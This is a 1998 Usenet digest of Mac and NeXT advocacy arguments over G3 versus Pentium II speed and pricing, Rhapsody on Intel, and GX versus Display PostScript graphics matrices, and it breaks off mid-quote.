Sure, some G3s are faster than PCs, and the PPC 750 is *way* faster than an
equivalently clocked pII - but
a) The fastest PC is faster than the fastest Mac
b) For the same *price* you will get a faster PC, alternatively
c) For the same "speed" the PC will be cheaper.
The biggest reason is MacOS - it is a simply an outdated OS that makes poor
use of the technology available to it. I'd love to own a G3/300 (or even
better a dual 604e/350), but the fact I'd ahve to run Linux on the thing to
let me work the way I want to, sorta stops me from getting one, especially
since most of the Linux apps are nowhere near as nice as their NT
counterparts.
>
>
> The mac still costs a bunch more on a
>> price/performance basis than other intel offerings.
>
>That is simply wrong. And even if it were true, what of it?
>That argument held water 5-10 years ago when we were speaking
>of deltas in the THOUSANDS of dollars, but today, we're talking
>pennies. Isn't your time worth anything to you? Don't you want to
>be as productive on your machine as possible? Wouldn't a 10-15%
>increase in your personal productivity be worth a 3-5% difference
>in price. Isn't the Mac's lower cost of ownership over time worth
>something? Do you enjoy spending an entire week trying to get a
>video capture board to work (as I recently witnessed), or would
>it be worth something just to be able to pop it in and turn it on?
Faster processors mean zippo these days - they are no longer the bottleneck
most noticeable in a system (except for a small subset of users). The
majority of people buying and using PCs would be far better of with a slower
CPU, but 2x the RAM and a full Ultra SCSI disk setup. Unfortunately:
a) Most mfgs still emphasise CPU speed over all else
b) SCSI is still *way* overpriced
>
> And I still
>> see that there will always be mac apologists that will stretch
>> and make any kind of willfully blind excuses to explain why what
>> is a blatant reality only *seems* that way to dumb people who
>> haven't seen the light.
>
>Well, which is worse; a Mac apologis, or a Wintel ostrich? One
>who touts the Mac advantage, or one who blindly refuses to
>face the reality that his choice of platform is a poor performing
>difficult to use, antiquated mess quickly on its way to the museum?
If my choice of platform were a "poor performing difficult to use,
antiquated mess quickly on its way to the museum" then the above statement
might hold some water. It's not, so it doesn't.
>
>George Graves
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 21:41:26 GMT
Message-ID: <6kklm6$lna$1@newsfep1.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net>
<6kifon$4ed$1@newsfep3.sprintmail.com> <joe.ragosta-2805981143250001@wil92.dol.net>
<6kkd5m$mjn$1@newsfep4.sprintmail.com> <slrn6mrk8v.3b2.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
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Cc: jason@jhste1.dyn.ml.org
In <slrn6mrk8v.3b2.jason@jhste1.dyn.ml.org> Jason S. wrote:
> macghod@concentric.net posted the following to comp.sys.mac.advocacy:
>
> >You are full of horse doo doo and you know it. Codewarrior is used by the
> >vast majority of developers. What are the byte scores using a symantec
> >compiler Joe? Come on, you say cw is "the slowest", so you should be fine
> >with symantec. Instead, you rely on a compiler, moto 3.0 dr that will
never
> >be used by any programmers because it is not even available to them
>
> >And saying a MICROSOFT compiler is the fastest is so much bull it is
funny.
> >How does egcs under linux do for a p2 joe? SImply put Joe, you LIED.
What
> >else is new.
>
> Why do you assume that egcs under Linux would be faster than the Microsoft
> compiler? Its cousin gcc is known for producing code not well optimized
> for Pentium (not sure how this impacts Pentium II, though). Unless you
> have actual numbers showing egcs to beat the Microsoft compiler, don't
> accuse Joe of lying.
I didnt assume, I have seen a web page with the numbers. Egcs was much
higher.
Anyone seen the page? I dont have it anymore, and would appreciate it if
someone could post it.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 28 May 1998 21:46:41 GMT
Organization: Idiom Communications
Message-ID: <6kkm01$p4o$1@news.idiom.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
Mime-Version: 1.0
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Cc: garyseven@geocities.com
"William Whitehouse" may or may not have said:
[snip]
-> As Apple's hardware business is its main cash cow, then why doesn't Apple
-> and MS get together in porting NT to the PPC _and_ continue to offer
-> RhapTel?
Not practical. NT is an intel-only system, because the ISV's don't bother to
compile and test their NT apps for other CPUs. Take the top 100 NT apps, and
try to find versions of them that run on NT on a DEC Alpha.
Also, if you're giving up the compatibility for performance by buying a PPC
or an Alpha, then you'd have to be an idiot to sacrifice the performance all
over again by running NT.
NT on anything but intel is a joke. (Okay, it's a joke on intel too, but
it's even more of a joke when it's crippling a fast machine.)
-> That way, Apple will see a big boost in its hardware business (due to the
-> clear price/performance advantages of the PPC - and assuming that Apple
-> promotes this advantage more than it is) and it will promote the PPC
-> market share.
Won't happen.
-> The more PPC computers out there, the more potential developers for
-> NT/PPC. And, as mentioned, the more opportunities for end users to
-> directly compare the price/performance of the NT/PPC solution and the
-> Rhapsody/MacOS X/PPC solution.
The number of NT on PPC installations would be miniscule. People who will
put up with NT will also put up with Intel hardware.
-> The obvious answer to this is that MS wouldn't want into this kind of
-> deal. Apple doesn't have control of NT/PPC, but it can still offer
-> RhapTel. One point of comparison gives Apple more of a chance in the
-> Wintel market than none.
-> The upshot is that, while Apple obviously sees that it needs to protect
-> its hardware sales, its involvement and myopic commitment to
-> Rhapsody/MacOS is blinding it from doing precisely the things it needs to
-> do to advance its hardware business - either in abandoning the PPC and
-> developing exclusively for the IA-64, or in promoting PPC as an alternate
-> desktop platform by moving to dominant OS to it. The result is that
-> Apple's new proprietary OS strategy and their hardware strategy severely
-> compromise each other.
Nah. Apple loses everything if they turn into Compaq. The existing
customers would go off and run Linux or BeOS, or even a MacOS clone from some
new vendor. That leaves Apple as a company with *no* unique selling
proposition.
-jcr
From: mdadgar@apple.com (Mark Dadgar)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: 28 May 1998 21:52:38 GMT
Organization: Apple Computer, Inc.
Message-ID: <6kkmb6$bho$1@news.apple.com>
References: <fretwiz-2805981449550001@den-co15-15.ix.netcom.com>
In article <fretwiz-2805981449550001@den-co15-15.ix.netcom.com>
fretwiz@ix.netcom.com (fretwiz) writes:
> In article <6kkfan$jot$1@news10.ispnews.com>, "William Whitehouse"
> <garyseven@geocities.com> wrote:
> > He prefers a Thinkpad with Openstep, but doesn't see the sense in
> > committing to Rhapsody for Intel?
>
> Probably because Apple gets its revenue from hardware sales, not software.
More to the point, I think, is the fact that Concurrence.app does not run on
Rhapsody on either platform (and sadly probably never will).
- Mark "Not Speaking for Apple, Steve, or Lighthouse" Dadgar
--
Mark Dadgar
Product Marketing
Apple Computer
mdadgar@apple.com
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 21:59:55 GMT
Organization: I don't think so
Message-ID: <slrn6mrnq3.3b2.jason@jhste1.dyn.ml.org>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net> <6kifon$4ed$1@newsfep3.sprintmail.com> <joe.ragosta-2805981143250001@wil92.dol.net> <6kkd5m$mjn$1@newsfep4.sprintmail.com> <slrn6mrk8v.3b2.jason@jhste1.dyn.ml.org> <6kklm6$lna$1@newsfep1.sprintmail.com>
macghod@concentric.net posted the following to comp.sys.mac.advocacy:
>> Why do you assume that egcs under Linux would be faster than the Microsoft
>> compiler? Its cousin gcc is known for producing code not well optimized
>> for Pentium (not sure how this impacts Pentium II, though). Unless you
>> have actual numbers showing egcs to beat the Microsoft compiler, don't
>> accuse Joe of lying.
>I didnt assume, I have seen a web page with the numbers. Egcs was much
>higher.
>Anyone seen the page? I dont have it anymore, and would appreciate it if
>someone could post it.
I know of a page with egcs-1.0 numbers for a G3/266:
http://biochem.bio.cornell.edu/emb22/eric/bmarks/bmarks.html
Find your page; you can then compare egcs to egcs...
--
In my opinion MS is a lot better at making money than it is at making
good operating systems.
-- Linus Torvalds (http://www.twics.com/~tlug/linus.html)
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 22:09:08 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2805981808500001@pm61-24.magicnet.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <6kkj6t$9l7$1@nargun.cc.uq.edu.au>
"Christopher Smith" <drsmithy@usa.net> wrote:
> And a 233Mhz G3 is nowhere near as fast as a 400Mhz pII.
Actually, it *is* pretty much "near as fast" as a 400 MHz PII, especially
when running things like Photoshop...
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 22:13:30 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2805981813120001@pm61-24.magicnet.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkjkt$cpg$1@nargun.cc.uq.edu.au>
"Christopher Smith" <drsmithy@usa.net> wrote:
> Sure, some G3s are faster than PCs, and the PPC 750 is *way* faster than an
> equivalently clocked pII - but
> a) The fastest PC is faster than the fastest Mac
A G3/300 pretty convincingly smokes a 400 MHz PII. Hell, my G3/233 will
beat a PII/400 on a helluva lot of stuff.
> b) For the same *price* you will get a faster PC, alternatively
Okay. $1499 for a G3/233 with 32 megs. Find a faster PC for that price.
Note that to get a machine in the same price range, you'll have to buy a
PII/400... which all go for a bit more money (unless you build it
yourself, and your time is worth zero money).
> c) For the same "speed" the PC will be cheaper.
Okay. G3/300. Unfortunately, there isn't a PC anywhere *near* that fast,
so you lose on that one, too.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now? (Was Re: End
of WYSIWYG
Date: 28 May 1998 15:13:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1932F90-148B1@206.165.43.76>
References: <6kkavb$iuq$2@mamenchi.zrz.TU-Berlin.DE>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Axel Habermann <kiwi@saljut.fb10.tu-berlin.de> said:
>In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
>: mmalcolm crawford <malcolm@plsys.co.uk> said:
>
>: [using GX instead of DPS from the start of the NeXT-purchase]
>
>: >Yes, and what's different now?
>: >re the *huge* task (which you note will take Apple one and a half
years):
>: >
>
>: Had they decided to use GX from the beginning, or at least, as a backup
>: strategy, they wouldn't have had to wait this long to provide a workable
>: solution. For that matter, they could have been working on an OOP
>: replacement for GX for Yellow Box and Carbon as soon as the ink was dry
>on
>: the purchase, using the internal engine that they are using now, anyway,
>: without taking the time to try to enhance DPS for SMP and so on.
>
>I remember someone from Apple saying that NeXT was moving away from
>DPS even before the purchase by Apple. I don't think they wasted any
>time. It is a huge project, especially given the aim to keep the imaging
>model of postscript.
It is NOT a huge project for Yellow Box to retain the "imaging model" of
PostScript. The graphics primitives used by DPS already existed and are
owned by Apple.
[We have pretty good evidence that the decision to go with the Carbon
graphics model is an emergency mode decision, BTW: up until recently, Apple
was looking for graphics programmers with extensive PostScript and OOP
graphics experience. There would be no need for Apple to hire someone with
extensive PS experience if Apple had already decided to use the non-PS
graphics model because the new graphics model is rather simple compared to
PS and could be handled easily by anyone who understood QuickDraw and/or
GX]
Converting the *GX* calls to YB/Carbon calls would require a several
[possibly major] steps, including:
making sure that you could use floating point coordinates instead of
fixed-point coordinates with the GX algorithms (someone has claimed that
DPS and PS generally use fixed-point coordinates internally anyway, so this
might not be a big issue at all).
making sure that all GX colorizing/transparency modes were supported,
especially for bitmap shapes. For quadratic shapes, the standard GX
algoritms already exist and could probably be applied to the existing cubic
algorithms without much trouble.
Making sure that all YB/Carbon calls supported 3x3 transform matrices
instead of 3x2. This should be a no-brainer. In the worst case, Apple
simply does what they did with QuickTime, and announces the SIZE of the
transform matrix but warns developers that the first version won't support
the full 3x3 capabilities defined in teh API.
Making sure that the geometric arithmetic operations
(union/intersection/xor/etc) worked for both quadratic and cubic beziers.
This should be easy to do since Apple has the rights to the relevant
Taligent algorithms, which work for the generic NURBS case, which cover
both quadratic and cubic beziers.
etc.
This is certainly more work than "retaining the imaging model" of DPS, but
the wins should be obvious:
Compatible with GX needs, thereby providing full backwards compatibility
with GX and QUickTime vector graphics, i.e., graphics that could be
produced on any color-capable, System 7.x Macintosh, 68K or PPC would
automatically be used in YB/Carbon-based apps without loss of fidelity.
Compatible with the DPS/PDF model for use with older YB apps.
Capable of being extended in more useful ways via the Yellow Box framework
than the current, limited solution in Carbon.
Without a 3x3 transform matrix and support for GX colors and transfer
modes, the new QDe model of Carbon/YB is crippled in many ways when
compared to GX.
This is a VERY BAD THING.
It means that Apple has abandoned any attempt at providing cutting-edge 2D
graphics for its developers to use because some of the GX features
*require* at least a 3x3 transform matrix to implement.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 22:19:54 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2805981819360001@pm61-24.magicnet.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kikm0$5vs@nntp02.primenet.com> <gmgraves-2805981021570001@sf-usr1-44-172.dialup.slip.net> <6kkiu7$gjp$1@nargun.cc.uq.edu.au>
"Christopher Smith" <drsmithy@usa.net> wrote:
> George Graves wrote in message ...
> >
> >That still ain't $1600!
>
> Neither is a 300Mhz G3.
...but they don't *make* 500MHz PII machines yet- which is what you need
to compare to, if you want a 300 MHz G3.
If you're pricing PII/400 computers, look at G3/233 or /266 (at most).
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Thu, 28 May 1998 14:47:41 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2805981447420001@192.168.0.3>
References: <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se>
In article <6kjhrh$2fh$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
(Christian Brunschen) wrote:
:Of course, GX _does not_ handle 3D in any general way.
Nope, it handles it the way that most 2D illustration packages handle
it, by providing a limited perspective transformation.
:It is interesting to see that Lawson English condemns DPS for using 'only'
:a 3x2 matrix (which gives us access to all affine transforms in 2D space)
:rather than a full 3x3 matrix (which would allow arbitrary 2D transforms).
:And at the same time he heralds GX for supporting '3D'.
Your argument would hold some merit, if all major illustration packages
didn't support the same perspective transformation that GX does. Don't you
guys ever use any graphics apps? Ths is a pretty common effect.
:support any useful subset of 3D transforms, you need a 4x3 matrix
Not when you're working with perfectly flat 2D shapes. A 3x3
perspective transformation for 2D illustration is usually just fine. Of
course, for consistency and generality why doesn't Apple just go with 4x4
matrices and NURBS? It would allow for some nice interoperability with 3D
packages.
:(But those are rarely used, afaik -
:for much the same reasns why 3x3 matrices are not used in most 2d graphics
:systems.)
Presumably it was done for efficiency, but the various GX apps prove
that on modern systems, this isn't an issue anymore.
Incidentally, this introduces a nice bit of inconsistency in that
QTML's vector graphics toolkit is very GX-like, e.g. fixed-point
coordinate system, 3x3 matrices, advanced transfer modes, quadratic
beziers, etc. Contrast this to Mac OS X's floating-point coordinate
system, 3x2 matrices, simplistic transfer modes, and cubic beziers.
:So, GX supports _far less_ '3D' features than DPS supports 2D; yet for DPS
:this is bad, and for GX this is good.
However, both are now 'dead,' does it really make much sense to
continue to use 3x2s in Mac OS X? If you use 3x2s anyone making an
illustration app is going to have to either special-case perspective or
write their own matrix-handling routines. I'm sorry, it's just a needless
step backwards.
-Eric
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 22:57:47 GMT
Message-ID: <6kkq5b$qkd$1@newsfep1.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>
<6kkj6t$9l7$1@nargun.cc.uq.edu.au> <cirby-2805981808500001@pm61-24.magicnet.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: cirby@magicnet.net
In <cirby-2805981808500001@pm61-24.magicnet.net> Chad Irby wrote:
> "Christopher Smith" <drsmithy@usa.net> wrote:
>
> > And a 233Mhz G3 is nowhere near as fast as a 400Mhz pII.
>
> Actually, it *is* pretty much "near as fast" as a 400 MHz PII, especially
> when running things like Photoshop...
On Joe ragosta's page, their is a test with 4 benchmarks for photoshop.
It tests a p2 300 and g3 266. The g3 ISNT even noticibly faster, just about
%10.
And that isnt a even a p2 400 or g3 233
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 23:01:17 GMT
Message-ID: <6kkqbt$qkd$2@newsfep1.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu>
<356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net>
<6kkjkt$cpg$1@nargun.cc.uq.edu.au> <cirby-2805981813120001@pm61-24.magicnet.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: cirby@magicnet.net
In <cirby-2805981813120001@pm61-24.magicnet.net> Chad Irby wrote:
> "Christopher Smith" <drsmithy@usa.net> wrote:
>
> > Sure, some G3s are faster than PCs, and the PPC 750 is *way* faster than
an
> > equivalently clocked pII - but
> > a) The fastest PC is faster than the fastest Mac
>
> A G3/300 pretty convincingly smokes a 400 MHz PII. Hell, my G3/233 will
> beat a PII/400 on a helluva lot of stuff.
That is such bull. A p2 300 beats a g3 233 on a helluva lot of stuff, just
look at Joe's web page. Office apps are faster on the p2. Even photoshop is
ONLY a smigdeon faster ON A G3 266 than a p2 300!! See Joe's web page, its
only about %10 faster , and thats the filters it is faster in, some are %10
faster on the p2
> > b) For the same *price* you will get a faster PC, alternatively
>
> Okay. $1499 for a G3/233 with 32 megs. Find a faster PC for that price.
> Note that to get a machine in the same price range, you'll have to buy a
> PII/400... which all go for a bit more money (unless you build it
> yourself, and your time is worth zero money).
You do not even know what you are talking about.
> > c) For the same "speed" the PC will be cheaper.
>
> Okay. G3/300. Unfortunately, there isn't a PC anywhere *near* that fast,
> so you lose on that one, too.
>
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 15:58:58 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2805981558580001@dante.eng.uci.edu>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com> <6kkgab$e0l$12@gte2.gte.net>
In article <6kkgab$e0l$12@gte2.gte.net>, rfelts@. (Roger) wrote:
>On Wed, 27 May 1998 04:00:09 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>Good point. But doesn't pre-installation of Netscape (and specific
>>replacement of IE) bring down the wrath of Microsoft?
>
>No. Cases in point, Sony and Gateway.
Odd that they didn't announce any such plan under Win95 prior to the lawsuit.
-Bob Cassidy
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 16:11:49 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981611500001@sf-usr1-22-150.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au>
In article <6kkitl$elu$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> George Graves wrote in message ...
> >In article <6kiqjf$q38$1@nargun.cc.uq.edu.au>, "Christopher Smith"
> ><drsmithy@usa.net> wrote:
> >
> >>
> >> So where can I buy a 300Mhz G3 for $1600 ?
> >
> >Club Mac
> >
> >233MHz G3 desktop machine. 32 Megs of RAM (and your choice of either
> another
> >32 megs of RAM or VPC w Win95 for free), 24X CDROM, 4 GB. -$1599
> >This machine also comes bundled with either HomePage 3.0 or Object Dancer,
> >whichever you prefer. $1899 buys you the same package with a 266 MHz G3
> >1-800-260-5109
>
> Ok George, I'll say it again *really* slowly so you don't miss it:
> "Where can I buy a *300Mhz* G3 for $1600" (so as to be faster than a 400Mhz
> pII).
A 233 MHz G3 IS faster (slightly) than a 400 MHz PII. I read you right the
first time.
George Graves
From: "bridge3w" <webmaster@bridge3w.com>
Newsgroups: alt.bbs.amiga.cnet,comp.sys.ibm.pc.games.adventure,comp.sys.ibm.pc.soundcard.advocacy,comp.sys.mac.advocacy,comp.sys.mac.games.adventure,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.unix.advocacy,de.comp.advocacy,de.comp.os.os2.advocacy
Subject: »¶ÓÏ໥Á´½Ó
Date: Fri, 29 May 1998 07:17:04 +0800
Organization: ÌìÇÅÍøÂç
Sender: cnlink@202.102.32.81
Message-ID: <6kkrem$npt$1@news.vic.com>
»¶ÓÏ໥Á´½Ó
»¶ÓÀ´ http://www.bridge3w.com
welcome http://www.bridge3w.com
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 16:16:51 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981616520001@sf-usr1-22-150.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkjkt$cpg$1@nargun.cc.uq.edu.au>
In article <6kkjkt$cpg$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> If my choice of platform were a "poor performing difficult to use,
> antiquated mess quickly on its way to the museum" then the above statement
> might hold some water. It's not, so it doesn't.
Your poor taste and lack of judgement are showing. :-/
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 16:18:26 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981618270001@sf-usr1-22-150.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkfk9$e60@nntp02.primenet.com>
In article <6kkfk9$e60@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> George Graves <gmgraves@slip.net> wrote:
> : In article <356ce269.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
> : > And I still
> : > see that there will always be mac apologists that will stretch
> : > and make any kind of willfully blind excuses to explain why what
> : > is a blatant reality only *seems* that way to dumb people who
> : > haven't seen the light.
>
> : Well, which is worse; a Mac apologis, or a Wintel ostrich? One
> : who touts the Mac advantage, or one who blindly refuses to
> : face the reality that his choice of platform is a poor performing
> : difficult to use, antiquated mess quickly on its way to the museum?
>
> The _only_ reason I'm in this thread is that annoys me to see you, George
> Graves, make up prices to support your case. Macs and PCs are both cheap
> enough that most people can buy a fast machine in their flavor of choice.
>
> George, you first claimed that PII 400 systems sold for 2600-3000 dollars.
> I'm sure they do. They also sell for less. When offered a well
> configured system for $1900 you skipped blandly ignored the feature set.
> George, you are not a kool-aid drinker, you are a kool-aid mixer!
>
> At http://www.env.com/cgi-bin/env/syscalc.pl you can configure this PII
> 400 system with a 17 inch monitor for $1999 cash price:
>
> PII 400 MHz
> BX chipset, AGP motherboard
> 64 MB RAM
> 6.0 GB HD
> 4 MB AGP 3D graphics card
> 32x CDROM
> 17" 0.26 DP SVGA monitor
> etc.
>
> Your case would be better served with a little truth,
>
> John
I didn't ignor it, I said it was irrelevant. G3s are still cheaper.
George Graves
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Message-ID: <1998052818442400.OAA07500@ladder03.news.aol.com>
Date: 28 May 1998 18:44:24 GMT
Organization: AOL http://www.aol.com
References: <6kjbfd$d08$1@news.idiom.com>
Well, this at least raises the question--what are Apple's plans as regards
OpenStep for Mach? It's still being sold--what happens when the existing stock
of media is gone?
Committing to continue to make it available would be a nice gesture, and one
which ought to be affordable/profitable and which ought not rock the boat.
I still say that Apple should do an add-on for Rhapsody which bundles up the
NeXT interface, any programs which are left out (i.e. TeX) and sell that
separately, they could call it the objective pack (as opposed to plus! or ++)
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 16:20:38 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2805981620390001@sf-usr1-22-150.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <6kkj6t$9l7$1@nargun.cc.uq.edu.au>
In article <6kkj6t$9l7$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> George Graves wrote in message ...
> >In article <6kiqhr$22u$1@nargun.cc.uq.edu.au>, "Christopher Smith"
> ><drsmithy@usa.net> wrote:
> >
> >> Ike Gilbert wrote in message ...
> >> >In article <6kf6jk$mcf$1@newsfep2.sprintmail.com>,
> macghod@concentric.net
> >> wrote:
> >> >
> >> >> Pentium II 300Mhz System€
> >> >>
> >> >> Intel Pentium II processor,
> >> >
> >> >The PowerPC G3 has been proven to be consistantly faster than the PII.
> >>
> >> Sure, but by the time you put it into a system your G3 processors costs
> >> more.
> >
> >G3 233MHz, 64 MB RAM, 4 GB, 24XCD = $1599
> >Cheap 400 MHz PII @ $2300
>
> And a 233Mhz G3 is nowhere near as fast as a 400Mhz pII.
>
> >>
> >> >
> >> >> M715€ motherboard,
> >> >> 64Mb SDRAM,
> >> >
> >> >True, the G3 only comes with 32MB standard, but you can add more RAM for
> >> >pretty cheap.
> >>
> >> Unless you buy it from Apple.
> >
> >Club Mac GIVES you an extra 32 Megs when you buy their $1599 233MHz G3.
>
> Club Mac != Apple.
Who said it did?
> >> >> L2 Pipelined Burst Cache, 512k,
> >> >
